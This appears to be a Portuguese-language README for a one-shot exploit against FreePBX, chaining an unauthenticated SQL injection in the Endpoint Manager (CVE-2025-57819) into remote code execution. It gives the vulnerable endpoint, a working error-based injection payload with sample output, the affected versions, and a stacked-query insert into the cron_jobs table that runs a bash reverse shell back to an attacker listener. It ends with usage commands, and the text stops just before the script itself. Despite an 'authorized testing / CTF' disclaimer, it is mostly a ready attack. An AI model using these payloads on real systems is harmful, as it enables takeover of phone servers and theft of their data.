
CVE-2025-57819 -> rce
Exploit de disparo único para a injeção SQL não autenticada do Endpoint Manager do FreePBX (CVE-2025-57819), encadeada em execução remota de código por meio da tabela cron_jobs do FreePBX.
Apenas para testes de segurança autorizados / uso em CTF.
O manipulador ajax do módulo endpoint concatena o parâmetro brand diretamente em uma consulta SQL, e o caminho do módulo FreePBX\modules\endpoint\ajax ignora a verificação de autenticação/Referrer do ajax. Isso resulta em uma injeção SQL baseada em erro não autenticada (via EXTRACTVALUE), com escritas por consultas empilhadas habilitadas.
Ponto de injeção:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
&command=model&template=x&model=model&brand=<INJECTION>
Prova (leitura baseada em erro):
brand=x' AND EXTRACTVALUE(1,CONCAT('~',(SELECT USER()),'~')) -- -
→ {"error":{"message":"... XPATH syntax error: '~freepbxuser@localhost~' ..."}}
Afetados: FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3.
A injeção é somente leitura por si só, mas consultas empilhadas permitem escritas. O FreePBX executa jobs da tabela cron_jobs por meio do gerenciador de cron, portanto inserir uma linha resulta em execução arbitrária de comandos (em ~60s, com agendamento * * * * *):
INSERT INTO cron_jobs
(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)
VALUES ('sysadmin','<job>','<os-command>',NULL,'* * * * *',30,1,1);
O comando injetado é um reverse shell em bash. A linha de cron é removida automaticamente após o primeiro callback para evitar conexões repetidas.
pip install requests urllib3
Python 3. A detecção de IP embutida (-i/--interface) é somente Linux; use --ip em outras plataformas.
# Padrões: interface tun0, porta 4444 — inicia listener, explora, abre um shell
python3 exploit.py http://{target}
# Escolha uma interface / porta diferente
python3 exploit.py http://{target} -i eth0 -p 9001
# Defina o IP do listener explicitamente
python3 exploit.py http://{target} --ip 10.10.15.52
python3 exploit.py --help
O script: